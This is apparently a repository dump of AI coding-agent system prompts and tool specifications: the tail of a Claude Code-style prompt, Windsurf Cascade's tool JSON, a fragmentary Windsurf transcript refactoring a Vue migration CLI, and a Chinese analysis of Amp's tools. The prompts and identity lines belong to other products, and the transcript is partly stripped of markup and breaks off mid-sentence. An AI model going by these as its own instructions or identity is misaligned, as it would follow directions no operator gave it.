| 147 | You MUST answer concisely with fewer than 4 lines of text (not including tool use or code generation), unless user asks for detail. 148 | 149 | 150 | Here is useful information about the environment you are running in: 151 | 152 | Working directory: ${pwd} 153 | Is directory a git repo: ${is_git_repo} 154 | Platform: darwin 155 | OS Version: Darwin 24.5.0 156 | Today's date: 2025-06-30 157 | 158 | You are powered by the model named Sonnet 4. The exact model ID is claude-sonnet-4-20250514. 159 | 160 | 161 | IMPORTANT: Assist with defensive security tasks only. Refuse to create, modify, or improve code that may be used maliciously. Allow security analysis, detection rules, vulnerability explanations, defensive tools, and security documentation. 162 | 163 | 164 | IMPORTANT: Always use the TodoWrite tool to plan and track tasks throughout the conversation. 165 | 166 | 167 | # Code References 168 | 169 | When referencing specific functions or pieces of code include the pattern `file_path:line_number` to allow the user to easily navigate to the source code location. 170 | 171 | 172 | user: Where are errors from the client handled? 173 | assistant: Clients are marked as failed in the `connectToServer` function in src/services/process.ts:712. 174 | 175 | 176 | -------------------------------------------------------------------------------- /windsurf/cascade.json: -------------------------------------------------------------------------------- 1 | { 2 | "tools": [ 3 | { 4 | "name": "browser_preview", 5 | "description": "Spin up a browser preview for a web server. This allows the USER to interact with the web server normally as well as provide console logs and other information from the web server to Cascade.", 6 | "parameters": [ 7 | { 8 | "name": "Name", 9 | "description": "A short name 3-5 word name for the target web server. Should be title-cased e.g. 'Personal Website'." 10 | }, 11 | { 12 | "name": "Url", 13 | "description": "The URL of the target web server to provide a browser preview for. This should contain the scheme, domain, and port but no path." 14 | } 15 | ] 16 | }, 17 | { 18 | "name": "check_deploy_status", 19 | "description": "Check the status of the deployment using its windsurf_deployment_id for a web application.", 20 | "parameters": [ 21 | { 22 | "name": "WindsurfDeploymentId", 23 | "description": "The Windsurf deployment ID for the deploy we want to check status for." 24 | } 25 | ] 26 | }, 27 | { 28 | "name": "codebase_search", 29 | "description": "Find snippets of code from the codebase most relevant to the search query.", 30 | "parameters": [ 31 | { 32 | "name": "Query", 33 | "description": "Search query" 34 | }, 35 | { 36 | "name": "TargetDirectories", 37 | "description": "List of absolute paths to directories to search over" 38 | } 39 | ] 40 | }, 41 | { 42 | "name": "command_status", 43 | "description": "Get the status of a previously executed terminal command by its ID.", 44 | "parameters": [ 45 | { 46 | "name": "CommandId", 47 | "description": "ID of the command to get status for" 48 | }, 49 | { 50 | "name": "OutputCharacterCount", 51 | "description": "Number of characters to view" 52 | }, 53 | { 54 | "name": "WaitDurationSeconds", 55 | "description": "Number of seconds to wait for command completion" 56 | } 57 | ] 58 | }, 59 | { 60 | "name": "create_memory", 61 | "description": "Save important context relevant to the USER and their task to a memory database.", 62 | "parameters": [ 63 | { 64 | "name": "Action", 65 | "description": "The type of action to take on the MEMORY (create, update, or delete)" 66 | }, 67 | { 68 | "name": "Content", 69 | "description": "Content of a new or updated MEMORY" 70 | }, 71 | { 72 | "name": "CorpusNames", 73 | "description": "CorpusNames of the workspaces associated with the MEMORY" 74 | }, 75 | { 76 | "name": "Id", 77 | "description": "Id of an existing MEMORY to update or delete" 78 | }, 79 | { 80 | "name": "Tags", 81 | "description": "Tags to associate with the MEMORY" 82 | }, 83 | { 84 | "name": "Title", 85 | "description": "Descriptive title for a new or updated MEMORY" 86 | }, 87 | { 88 | "name": "UserTriggered", 89 | "description": "Set to true if the user explicitly asked to create/modify this memory" 90 | } 91 | ] 92 | }, 93 | { 94 | "name": "deploy_web_app", 95 | "description": "Deploy a JavaScript web application to a deployment provider like Netlify.", 96 | "parameters": [ 97 | { 98 | "name": "Framework", 99 | "description": "The framework of the web application" 100 | }, 101 | { 102 | "name": "ProjectId", 103 | "description": "The project ID of the web application if it exists" 104 | }, 105 | { 106 | "name": "ProjectPath", 107 | "description": "The full absolute project path of the web application" 108 | }, 109 | { 110 | "name": "Subdomain", 111 | "description": "Subdomain or project name used in the URL" 112 | } 113 | ] 114 | }, 115 | { 116 | "name": "find_by_name", 117 | "description": "Search for files and subdirectories within a specified directory using fd.", 118 | "parameters": [ 119 | { 120 | "name": "SearchDirectory", 121 | "description": "The directory to search within" 122 | }, 123 | { 124 | "name": "Pattern", 125 | "description": "Pattern to search for, supports glob format" 126 | }, 127 | { 128 | "name": "Extensions", 129 | "description": "File extensions to include (without leading .)" 130 | }, 131 | { 132 | "name": "Excludes", 133 | "description": "Exclude files/directories that match the given glob patterns" 134 | }, 135 | { 136 | "name": "MaxDepth", 137 | "description": "Maximum depth to search" 138 | }, 139 | { 140 | "name": "Type", 141 | "description": "Type filter (file, directory, any)" 142 | }, 143 | { 144 | "name": "FullPath", 145 | "description": "Whether the full absolute path must match the glob pattern" 146 | } 147 | ] 148 | }, 149 | { 150 | "name": "grep_search", 151 | "description": "Use ripgrep to find exact pattern matches within files or directories.", 152 | "parameters": [ 153 | { 154 | "name": "SearchPath", 155 | "description": "The path to search. This can be a directory or a file." 156 | }, 157 | { 158 | "name": "Query", 159 | "description": "The search term or pattern to look for within files" 160 | }, 161 | { 162 | "name": "CaseInsensitive", 163 | "description": "If true, performs a case-insensitive search" 164 | }, 165 | { 166 | "name": "IsRegex", 167 | "description": "If true, treats Query as a regular expression pattern" 168 | }, 169 | { 170 | "name": "MatchPerLine", 171 | "description": "If true, returns each line that matches the query" 172 | }, 173 | { 174 | "name": "Includes", 175 | "description": "The files or directories to search within" 176 | } 177 | ] 178 | }, 179 | { 180 | "name": "list_dir", 181 | "description": "List the contents of a directory.", 182 | "parameters": [ 183 | { 184 | "name": "DirectoryPath", 185 | "description": "Path to list contents of, should be absolute path to a directory" 186 | } 187 | ] 188 | }, 189 | { 190 | "name": "list_resources", 191 | "description": "Lists the available resources from an MCP server.", 192 | "parameters": [ 193 | { 194 | "name": "ServerName", 195 | "description": "Name of the server to list available resources from" 196 | }, 197 | { 198 | "name": "Cursor", 199 | "description": "Opaque string used for pagination" 200 | } 201 | ] 202 | }, 203 | { 204 | "name": "read_deployment_config", 205 | "description": "Read the deployment configuration for a web application.", 206 | "parameters": [ 207 | { 208 | "name": "ProjectPath", 209 | "description": "The full absolute project path of the web application" 210 | } 211 | ] 212 | }, 213 | { 214 | "name": "read_resource", 215 | "description": "Retrieves a specified resource's contents.", 216 | "parameters": [ 217 | { 218 | "name": "ServerName", 219 | "description": "Name of the server to read the resource from" 220 | }, 221 | { 222 | "name": "Uri", 223 | "description": "Unique identifier for the resource" 224 | } 225 | ] 226 | }, 227 | { 228 | "name": "replace_file_content", 229 | "description": "Use this tool to edit an existing file.", 230 | "parameters": [ 231 | { 232 | "name": "TargetFile", 233 | "description": "The target file to modify" 234 | }, 235 | { 236 | "name": "Instruction", 237 | "description": "A description of the changes being made to the file" 238 | }, 239 | { 240 | "name": "CodeMarkdownLanguage", 241 | "description": "Markdown language for the code block" 242 | }, 243 | { 244 | "name": "ReplacementChunks", 245 | "description": "A list of chunks to replace" 246 | }, 247 | { 248 | "name": "TargetLintErrorIds", 249 | "description": "IDs of lint errors this edit aims to fix" 250 | } 251 | ] 252 | }, 253 | { 254 | "name": "run_command", 255 | "description": "PROPOSE a command to run on behalf of the user.", 256 | "parameters": [ 257 | { 258 | "name": "CommandLine", 259 | "description": "The exact command line string to execute" 260 | }, 261 | { 262 | "name": "Cwd", 263 | "description": "The current working directory for the command" 264 | }, 265 | { 266 | "name": "Blocking", 267 | "description": "If true, the command will block until it is entirely finished" 268 | }, 269 | { 270 | "name": "SafeToAutoRun", 271 | "description": "Set to true if you believe that this command is safe to run WITHOUT user approval" 272 | }, 273 | { 274 | "name": "WaitMsBeforeAsync", 275 | "description": "Milliseconds to wait after starting the command before sending it to be fully async" 276 | } 277 | ] 278 | }, 279 | { 280 | "name": "search_in_file", 281 | "description": "Returns code snippets in the specified file that are most relevant to the search query.", 282 | "parameters": [ 283 | { 284 | "name": "AbsolutePath", 285 | "description": "Absolute path to the file to search in" 286 | }, 287 | { 288 | "name": "Query", 289 | "description": "Search query" 290 | } 291 | ] 292 | }, 293 | { 294 | "name": "suggested_responses", 295 | "description": "Supply a small number of possible suggested answers to your question.", 296 | "parameters": [ 297 | { 298 | "name": "Suggestions", 299 | "description": "List of suggestions. Each should be at most a couple words." 300 | } 301 | ] 302 | }, 303 | { 304 | "name": "update_plan", 305 | "description": "Reflect and update the plan that needs to be followed to accomplish the task at hand.", 306 | "parameters": [ 307 | { 308 | "name": "UpdateReason", 309 | "description": "Reason for updating the plan (user_requested, user_new_info, research_new_info)" 310 | } 311 | ] 312 | }, 313 | { 314 | "name": "view_code_item", 315 | "description": "View the content of up to 5 code item nodes in a file, each as a class or a function.", 316 | "parameters": [ 317 | { 318 | "name": "File", 319 | "description": "Absolute path to the node to edit, e.g /path/to/file" 320 | }, 321 | { 322 | "name": "NodePaths", 323 | "description": "Path of the nodes within the file, e.g package.class.FunctionName" 324 | } 325 | ] 326 | }, 327 | { 328 | "name": "view_content_chunk", 329 | "description": "View a specific chunk of document content using its DocumentId and chunk position.", 330 | "parameters": [ 331 | { 332 | "name": "document_id", 333 | "description": "The ID of the document that the chunk belongs to" 334 | }, 335 | { 336 | "name": "position", 337 | "description": "The position of the chunk to view" 338 | } 339 | ] 340 | }, 341 | { 342 | "name": "view_file_outline", 343 | "description": "View the outline of the input file.", 344 | "parameters": [ 345 | { 346 | "name": "AbsolutePath", 347 | "description": "Path to file to view. Must be an absolute path." 348 | }, 349 | { 350 | "name": "ItemOffset", 351 | "description": "Offset of items to show. This is used for pagination." 352 | } 353 | ] 354 | }, 355 | { 356 | "name": "view_line_range", 357 | "description": "View the contents of a file. The lines of the file are 1-indexed.", 358 | "parameters": [ 359 | { 360 | "name": "AbsolutePath", 361 | "description": "Path to file to view. Must be an absolute path." 362 | }, 363 | { 364 | "name": "StartLine", 365 | "description": "Startline to view, 1-indexed as usual" 366 | }, 367 | { 368 | "name": "EndLine", 369 | "description": "Endline to view, 1-indexed as usual, inclusive." 370 | } 371 | ] 372 | }, 373 | { 374 | "name": "write_to_file", 375 | "description": "Use this tool to create new files.", 376 | "parameters": [ 377 | { 378 | "name": "TargetFile", 379 | "description": "The target file to create and write code to." 380 | }, 381 | { 382 | "name": "CodeContent", 383 | "description": "The code contents to write to the file." 384 | }, 385 | { 386 | "name": "EmptyFile", 387 | "description": "Set this to true to create an empty file." 388 | } 389 | ] 390 | } 391 | ] 392 | } -------------------------------------------------------------------------------- /windsurf/windsurf-tool-chain.md: -------------------------------------------------------------------------------- 1 | EXAMLPLE 2 | 3 | 4 | ``` 5 | find_by_name --SearchDirectory "/Users/phodal/works/galaxy/migrate/migrate-cli" --Type "file" --Pattern "*.js" --MaxDepth 3 6 | find_by_name --SearchDirectory "/Users/phodal/works/galaxy/migrate/migrate-cli" --Pattern "bin/vue-migrator.js" --Type "file" 7 | find_by_name --SearchDirectory "/Users/phodal/works/galaxy/migrate/migrate-cli" --Pattern "*vue-migrator*.js" --Type "file" 8 | view_line_range --AbsolutePath "/Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js" --StartLine 1 --EndLine 100 9 | view_file_outline --AbsolutePath "/Users/phodal/works/galaxy/migrate/migrate-cli/src/ai/aiRepairer.js" --ItemOffset 0 10 | view_file_outline --AbsolutePath "/Users/phodal/works/galaxy/migrate/migrate-cli/src/ai/BuildFixAgent.js" --ItemOffset 0 11 | run_command --CommandLine "node bin/vue-migrator.js auto /Users/phodal/works/galaxy/migrate/vue-element-admin /Users/phodal/works/galaxy/vue3-element-plus" --Cwd "/Users/phodal/works/galaxy/migrate/migrate-cli" --Blocking true 12 | ``` 13 | 14 | 15 | 16 | 17 | 18 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 19 | 0 20 | 21 | ```antml:function_calls> 22 | 23 | Let me examine the current implementation of the `migrate-to` command and the `auto` command to understand how they work. 24 | 25 | ```antml:function_calls 26 | 27 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 28 | migrate-to 29 | false 30 | false 31 | true 32 | 33 | ```antml:function_calls> 34 | 35 | Now let me check the `auto` command implementation: 36 | 37 | ```antml:function_calls 38 | 39 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 40 | auto 41 | false 42 | false 43 | true 44 | 45 | ```antml:function_calls> 46 | 47 | Let me also understand the AutoMigrator class: 48 | 49 | ```antml:function_calls 50 | 51 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 52 | class AutoMigrator 53 | false 54 | false 55 | true 56 | 57 | ```antml:function_calls> 58 | 59 | Let me also look for any implementation of the 7-step process: 60 | 61 | ```antml:function_calls 62 | 63 | /Users/phdal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 64 | 7 steps 65 | true 66 | false 67 | true 68 | 69 | ```antml:function_calls> 70 | 71 | Let me try a different search for steps: 72 | 73 | ```antml:function_calls 74 | 75 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 76 | steps 77 | true 78 | false 79 | true 80 | 81 | ```antml:function_calls> 82 | 83 | Let me look at the current implementation of `migrate-to` command in more detail: 84 | 85 | ```antml:function_calls 86 | 87 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 88 | program.command('migrate-to') 89 | 90 | ```antml:function_calls> 91 | 92 | Let me check how the commands are structured in the program: 93 | 94 | ```antml:function_calls 95 | 96 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 97 | program.command 98 | false 99 | false 100 | true 101 | 102 | ```antml:function_calls> 103 | 104 | Let me look at the implementation of the `migrate` command to understand what functionality needs to be merged into `migrate-to`: 105 | 106 | ```antml:function_calls 107 | 108 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 109 | program.command('migrate') 110 | 111 | ```antml:function_calls> 112 | 113 | Let me examine the AutoMigrator class to understand its functionality: 114 | 115 | ```antml:function_calls 116 | 117 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 118 | AutoMigrator 119 | 120 | ```antml:function_calls> 121 | 122 | Now I'll refactor the `vue-migrator.js` file to make `migrate-to` the default command with all the functionality of the `migrate` command, and remove unnecessary commands. 123 | 124 | ```antml:function_calls 125 | 126 | /Users/phodal/works/galaxy/migrate/migrate-cli/bin/vue-migrator.js 127 | Refactor the file to make migrate-to the default command with all the functionality of the migrate command, and remove unnecessary commands like migrate, compare, migrate-components-views, analyze. 128 | javascript 129 | 130 | [ 131 | { 132 | "AllowMultiple": false, 133 | "TargetContent": "program 134 | .command('migrate-to ') 135 | .description('migrate from source directory to target directory') 136 | .option('--force', 'force override sources files') 137 | .action(async (source, target, options) => { 138 | console.log(chalk.green(`migrate from ${source} to ${target}`)) 139 | 140 | const fs = require('fs-extra') 141 | if (!fs.existsSync(target)) { 142 | fs.ensureDirSync(target) 143 | } 144 | await copyDirectory(source, target, options, true) 145 | 146 | await executeCommand('migrate', [target]) 147 | })", 148 | "ReplacementContent": "program 149 | .command('migrate-to ') 150 | .description('migrate from source directory to target directory') 151 | .option('--force', 'force override sources files') 152 | .option('--vue2-only', 'only migrating vue2 files (will not execute migrate)') 153 | .option('-d, --debug', 'output extra debugging') 154 | .option('--keep-original', 'keep original Vue component') 155 | .option('--job-op ', 'operation for job') 156 | .option('--only-template', 'only convert template') 157 | .option('--only-script', 'only convert script') 158 | .option('--ignore ', 'glob patterns to exclude files, can be repeated', (value, previous) => previous.concat(value), []) 159 | .action(async (source, target, options) => { 160 | console.log(chalk.green(`Migrating from ${source} to ${target}`)) 161 | 162 | // Step 1: Ensure target directory exists 163 | const fs = require('fs-extra') 164 | if (!fs.existsSync(target)) { 165 | fs.ensureDirSync(target) 166 | } 167 | 168 | // Step 2: Copy source to target 169 | console.log(chalk.blue('Step 1/7: Copy source directory to target directory')) 170 | await copyDirectory(source, target, options, true) 171 | 172 | // Configure AutoMigrator with the target path 173 | console.log(chalk.blue('Step 2/7: Detecting project configuration')) 174 | const autoMigrator = new AutoMigrator(target, { ...options, outputDir: target }) 175 | await autoMigrator.prepare() 176 | 177 | // Run the migration process 178 | console.log(chalk.blue('Step 3/7: Starting migration')) 179 | 180 | // Step 3: Install needed dependencies 181 | console.log(chalk.blue('Step 4/7: Installing dependencies')) 182 | await autoMigrator.installDeps() 183 | 184 | // Step 4: Create base configuration 185 | console.log(chalk.blue('Step 5/7: Creating configuration')) 186 | await autoMigrator.createConfiguration() 187 | 188 | // Step 5: Migrate supported components 189 | console.log(chalk.blue('Step 6/7: Migrating components')) 190 | await autoMigrator.migrateSupported() 191 | 192 | // Step 6: Clean up and finalize 193 | console.log(chalk.blue('Step 7/7: Finalizing migration')) 194 | await autoMigrator.finalize() 195 | 196 | console.log(chalk.green('Migration completed successfully!')) 197 | })" 198 | }, 199 | { 200 | "AllowMultiple": false, 201 | "TargetContent": "program 202 | .command('auto [path]') 203 | .description('auto detect project and migration') 204 | .option('--vue2-only', 'only migrating vue2 files (will not execute migrate)') 205 | .option('-d, --debug', 'output extra debugging') 206 | .option('--keep-original', 'keep original Vue component') 207 | .option('--job-op ', 'operation for job') 208 | .option('--only-template', 'only convert template') 209 | .option('--only-script', 'only convert script') 210 | .option('--ignore ', 'glob patterns to exclude files, can be repeated', (value, previous) => previous.concat(value), []) 211 | .action(async (path, options) => { 212 | // Find what project is at current directory 213 | path = path || process.cwd() 214 | 215 | const autoMigrator = new AutoMigrator(path, options) 216 | await autoMigrator.prepare() 217 | await autoMigrator.installDeps() 218 | await autoMigrator.createConfiguration() 219 | await autoMigrator.migrateSupported() 220 | await autoMigrator.finalize() 221 | })", 222 | "ReplacementContent": "program 223 | .command('auto [path]') 224 | .description('auto detect project and migration (in-place migration)') 225 | .option('--vue2-only', 'only migrating vue2 files (will not execute migrate)') 226 | .option('-d, --debug', 'output extra debugging') 227 | .option('--keep-original', 'keep original Vue component') 228 | .option('--job-op ', 'operation for job') 229 | .option('--only-template', 'only convert template') 230 | .option('--only-script', 'only convert script') 231 | .option('--ignore ', 'glob patterns to exclude files, can be repeated', (value, previous) => previous.concat(value), []) 232 | .action(async (path, options) => { 233 | // For backward compatibility - redirect to migrate-to with the same path as source and target 234 | path = path || process.cwd() 235 | console.log(chalk.yellow('This command performs in-place migration. Use migrate-to for migrating to a new directory.')) 236 | 237 | // Start the automigrator for in-place migration 238 | const autoMigrator = new AutoMigrator(path, options) 239 | await autoMigrator.prepare() 240 | await autoMigrator.installDeps() 241 | await autoMigrator.createConfiguration() 242 | await autoMigrator.migrateSupported() 243 | await autoMigrator.finalize() 244 | })" 245 | }, 246 | { 247 | "AllowMultiple": false, 248 | "TargetContent": "program 249 | .command('migrate [path]') 250 | .description('migrate Vue 2 project to Vue 3, for API usage. Default for in working directly') 251 | .option('-d, --debug', 'output extra debugging') 252 | .option('--keep-original', 'keep original vue component') 253 | .option('--job-op ', 'operation for job') 254 | .option('--only-template', 'only convert template') 255 | .option('--only-script', 'only convert script') 256 | .option('--ignore ', 'glob patterns to exclude files, can be repeated', (value, previous) => previous.concat(value), []) 257 | .action(async (path = process.cwd(), options) => { 258 | if (path === true) { 259 | path = process.cwd() 260 | } 261 | 262 | await runMigrationJob(path, options) 263 | })", 264 | "ReplacementContent": "// Removed 'migrate' command - functionality merged into 'migrate-to'" 265 | }, 266 | { 267 | "AllowMultiple": false, 268 | "TargetContent": "program 269 | .command('compare [path]') 270 | .description('compare Vue 2 project to Vue 3 for API usage. default for working directly') 271 | .action(async (path = process.cwd()) => { 272 | if (path === true) { 273 | path = process.cwd() 274 | } 275 | 276 | await compareDir(path) 277 | })", 278 | "ReplacementContent": "// Removed 'compare' command" 279 | }, 280 | { 281 | "AllowMultiple": false, 282 | "TargetContent": "program 283 | .command('migrate-components-views [path]') 284 | .description('components to view') 285 | .action(async (path = process.cwd()) => { 286 | if (path === true) { 287 | path = process.cwd() 288 | } 289 | 290 | await migrateComponentToViews(path) 291 | })", 292 | "ReplacementContent": "// Removed 'migrate-components-views' command" 293 | }, 294 | { 295 | "AllowMultiple": false, 296 | "TargetContent": "program 297 | .command('analyze [path]') 298 | .description('analyze files') 299 | .action(async (path = process.cwd()) => { 300 | if (path === true) { 301 | path = process.cwd() 302 | } 303 | 304 | const result = await locateOwner(path) 305 | console.log(result) 306 | 307 | await locateVue2Entry(path) 308 | })", 309 | "ReplacementContent": "// Removed 'analyze' command" 310 | } 311 | ] 312 | 313 | 314 | ```antml:function_calls> 315 | 316 | Now let's test the refactored code to see if it executes the 7-step process: 317 | 318 | ```antml:function_calls 319 | 320 | node bin/vue-migrator.js migrate-to /Users/phodal/works/galaxy/migrate/vue-element-admin /Users/phodal/works/galaxy/migrate/vue-element-admin-new 321 | /Users/phodal/works/galaxy/migrate/migrate-cli 322 | true 323 | false 324 | 325 | ```antml:function_calls> 326 | 327 | I've refactored the `vue-migrator.js` file to make `migrate-to` the default command with all the functionality from the `migrate` command. Here are the key changes: 328 | 329 | 1. **Enhanced the `migrate-to` command:** 330 | - Added all options from the `migrate` command 331 | - Implemented a clear 7-step process with console logs for each step 332 | - Integrated the AutoMigrator functionality that was previously only in the `auto` command 333 | 334 | 2. **Updated the `auto` command:** 335 | - Kept it for backward compatibility but made it clear it's for in-place migration 336 | - Made it simpler since the main functionality is now in `migrate-to` 337 | 338 | 3. **Removed unnecessary commands:** 339 | - `migrate` - functionality merged into `migrate-to` 340 | - `compare` - removed as requested 341 | - `migrate-components-views` - removed as requested 342 | - `analyze` - removed as requested 343 | 344 | When you run the command: 345 | -------------------------------------------------------------------------------- /ampcode.md: -------------------------------------------------------------------------------- 1 | # 🚀 Amp Agent 工具能力与提示词设计指导 2 | 3 | ## 概述 4 | 5 | 基于对 Amp (Sourcegraph) 工具架构的深度分析,本文档总结了 Amp 的核心优势和设计理念,为开发更强大的 AI Coding Agent 提供指导。 6 | 7 | ## 📊 Amp Agent 核心工具能力分析 8 | 9 | ### 🛠️ 完整工具清单 10 | 11 | | 类别 | 工具名称 | 核心能力 | 独特优势 | 12 | |------|----------|----------|----------| 13 | | **文件操作** | `read_file` | 智能文件读取,支持行数限制和范围查看 | 防止超长输出,支持分页读取 | 14 | | | `edit_file` | 精确字符串替换编辑 | 基于精确匹配的安全编辑 | 15 | | | `create_file` | 文件创建 | 一步完成文件创建和内容写入 | 16 | | | `list_directory` | 目录结构查看 | 简洁的目录浏览能力 | 17 | | | `undo_edit` | 编辑撤销 | 安全的变更回滚机制 | 18 | | | `format_file` | 代码格式化 | VS Code 集成的格式化能力 | 19 | | **代码搜索** | `codebase_search_agent` | AI 驱动的语义代码搜索 | 🌟 **理解意图而非仅匹配关键词** | 20 | | | `Grep` | 精确文本搜索 | 高性能的 ripgrep 集成 | 21 | | | `glob` | 文件模式匹配 | 快速文件发现和筛选 | 22 | | **终端执行** | `Bash` | Shell 命令执行 | 支持工作目录切换,输出限制保护 | 23 | | **诊断分析** | `get_diagnostics` | IDE 级别的代码诊断 | 🌟 **获取编译错误、警告等实时诊断** | 24 | | **网络功能** | `read_web_page` | 网页内容读取 | Markdown 格式化的网页内容提取 | 25 | | | `web_search` | 网络信息搜索 | 实时信息获取能力 | 26 | | **可视化** | `mermaid` | 图表渲染 | 🌟 **主动创建架构图和流程图** | 27 | | **任务管理** | `todo_read`/`todo_write` | 会话级任务管理 | 🌟 **结构化的任务规划和跟踪** | 28 | | **代理协作** | `Task` | 子任务代理 | 🌟 **多代理并发执行复杂任务** | 29 | 30 | ### 🛠️ 完整工具清单 (JSON Schema) 31 | 32 | #### 📁 文件操作工具 33 | 34 | ```json 35 | { 36 | "name": "read_file", 37 | "description": "读取文件内容,支持行数范围和智能分页", 38 | "category": "file", 39 | "parameters": { 40 | "path": { 41 | "type": "string", 42 | "required": true, 43 | "description": "文件路径,必须存在" 44 | }, 45 | "read_range": { 46 | "type": "array", 47 | "items": "number", 48 | "minItems": 2, 49 | "maxItems": 2, 50 | "required": false, 51 | "description": "行号范围 [start, end],1-indexed" 52 | } 53 | }, 54 | "capabilities": [ 55 | "智能行数限制(最多1000行)", 56 | "分页读取支持", 57 | "防止token溢出" 58 | ], 59 | "limitations": [ 60 | "单次最多返回1000行", 61 | "超长行可能导致失败" 62 | ] 63 | } 64 | ``` 65 | 66 | ```json 67 | { 68 | "name": "edit_file", 69 | "description": "基于精确字符串匹配的安全文件编辑", 70 | "category": "file", 71 | "parameters": { 72 | "path": { 73 | "type": "string", 74 | "required": true, 75 | "description": "目标文件路径" 76 | }, 77 | "old_str": { 78 | "type": "string", 79 | "required": true, 80 | "description": "要替换的原始字符串,必须完全匹配" 81 | }, 82 | "new_str": { 83 | "type": "string", 84 | "required": true, 85 | "description": "新的字符串内容" 86 | }, 87 | "replace_all": { 88 | "type": "boolean", 89 | "required": false, 90 | "default": false, 91 | "description": "是否替换所有匹配项" 92 | } 93 | }, 94 | "capabilities": [ 95 | "精确匹配替换", 96 | "防止意外修改", 97 | "支持批量替换" 98 | ], 99 | "limitations": [ 100 | "old_str必须在文件中存在", 101 | "old_str和new_str必须不同" 102 | ] 103 | } 104 | ``` 105 | 106 | ```json 107 | { 108 | "name": "create_file", 109 | "description": "创建新文件或覆写现有文件", 110 | "category": "file", 111 | "parameters": { 112 | "path": { 113 | "type": "string", 114 | "required": true, 115 | "description": "文件路径" 116 | }, 117 | "content": { 118 | "type": "string", 119 | "required": true, 120 | "description": "文件内容" 121 | } 122 | }, 123 | "capabilities": [ 124 | "一步完成创建和写入", 125 | "自动覆写现有文件" 126 | ], 127 | "limitations": [ 128 | "会覆写现有文件" 129 | ] 130 | } 131 | ``` 132 | 133 | ```json 134 | { 135 | "name": "list_directory", 136 | "description": "列出目录内容", 137 | "category": "file", 138 | "parameters": { 139 | "path": { 140 | "type": "string", 141 | "required": false, 142 | "description": "目录路径,默认为工作区根目录" 143 | } 144 | }, 145 | "capabilities": [ 146 | "显示文件和文件夹", 147 | "简洁的目录结构" 148 | ], 149 | "limitations": [ 150 | "不显示隐藏文件", 151 | "不递归显示子目录" 152 | ] 153 | } 154 | ``` 155 | 156 | ```json 157 | { 158 | "name": "undo_edit", 159 | "description": "撤销最近一次文件编辑", 160 | "category": "file", 161 | "parameters": { 162 | "path": { 163 | "type": "string", 164 | "required": true, 165 | "description": "要撤销编辑的文件路径" 166 | } 167 | }, 168 | "capabilities": [ 169 | "安全的变更回滚", 170 | "恢复到编辑前状态" 171 | ], 172 | "limitations": [ 173 | "只能撤销最近一次编辑" 174 | ] 175 | } 176 | ``` 177 | 178 | ```json 179 | { 180 | "name": "format_file", 181 | "description": "使用VS Code格式化器格式化文件", 182 | "category": "file", 183 | "parameters": { 184 | "path": { 185 | "type": "string", 186 | "required": true, 187 | "description": "要格式化的文件路径" 188 | } 189 | }, 190 | "capabilities": [ 191 | "VS Code集成格式化", 192 | "自动代码美化" 193 | ], 194 | "limitations": [ 195 | "仅在VS Code环境可用" 196 | ] 197 | } 198 | ``` 199 | 200 | #### 🔍 代码搜索工具 201 | 202 | ```json 203 | { 204 | "name": "codebase_search_agent", 205 | "description": "AI驱动的语义代码搜索,理解开发意图", 206 | "category": "search", 207 | "parameters": { 208 | "query": { 209 | "type": "string", 210 | "required": true, 211 | "description": "自然语言搜索查询,描述要查找的功能或概念" 212 | } 213 | }, 214 | "capabilities": [ 215 | "理解开发意图", 216 | "跨文件语义搜索", 217 | "智能上下文分析" 218 | ], 219 | "limitations": [ 220 | "适合概念性搜索", 221 | "不适合精确字符串匹配" 222 | ] 223 | } 224 | ``` 225 | 226 | ```json 227 | { 228 | "name": "Grep", 229 | "description": "基于ripgrep的高性能精确文本搜索", 230 | "category": "search", 231 | "parameters": { 232 | "pattern": { 233 | "type": "string", 234 | "required": true, 235 | "description": "搜索模式,支持正则表达式" 236 | }, 237 | "path": { 238 | "type": "string", 239 | "required": false, 240 | "description": "搜索路径,可以是文件或目录" 241 | }, 242 | "caseSensitive": { 243 | "type": "boolean", 244 | "required": false, 245 | "description": "是否区分大小写" 246 | } 247 | }, 248 | "capabilities": [ 249 | "正则表达式支持", 250 | "高性能搜索", 251 | "路径限制搜索" 252 | ], 253 | "limitations": [ 254 | "每文件最多15个匹配", 255 | "长行会被截断" 256 | ] 257 | } 258 | ``` 259 | 260 | ```json 261 | { 262 | "name": "glob", 263 | "description": "快速文件模式匹配和发现", 264 | "category": "search", 265 | "parameters": { 266 | "filePattern": { 267 | "type": "string", 268 | "required": true, 269 | "description": "文件模式,如 '**/*.js' 或 'src/**/*.ts'" 270 | }, 271 | "limit": { 272 | "type": "number", 273 | "required": false, 274 | "description": "最大返回结果数" 275 | }, 276 | "offset": { 277 | "type": "number", 278 | "required": false, 279 | "description": "跳过的结果数(分页)" 280 | } 281 | }, 282 | "capabilities": [ 283 | "快速文件发现", 284 | "模式匹配", 285 | "按修改时间排序" 286 | ], 287 | "limitations": [ 288 | "仅匹配文件名模式" 289 | ] 290 | } 291 | ``` 292 | 293 | #### 🖥️ 终端执行工具 294 | 295 | ```json 296 | { 297 | "name": "Bash", 298 | "description": "执行Shell命令,支持工作目录切换", 299 | "category": "terminal", 300 | "parameters": { 301 | "cmd": { 302 | "type": "string", 303 | "required": true, 304 | "description": "要执行的shell命令" 305 | }, 306 | "cwd": { 307 | "type": "string", 308 | "required": false, 309 | "description": "命令执行的工作目录" 310 | } 311 | }, 312 | "capabilities": [ 313 | "工作目录切换", 314 | "输出限制保护", 315 | "Git命令支持" 316 | ], 317 | "limitations": [ 318 | "输出限制50000字符", 319 | "环境变量不持久化" 320 | ] 321 | } 322 | ``` 323 | 324 | #### 🔧 诊断分析工具 325 | 326 | ```json 327 | { 328 | "name": "get_diagnostics", 329 | "description": "获取IDE级别的代码诊断信息", 330 | "category": "diagnostics", 331 | "parameters": { 332 | "path": { 333 | "type": "string", 334 | "required": true, 335 | "description": "要诊断的文件或目录路径" 336 | } 337 | }, 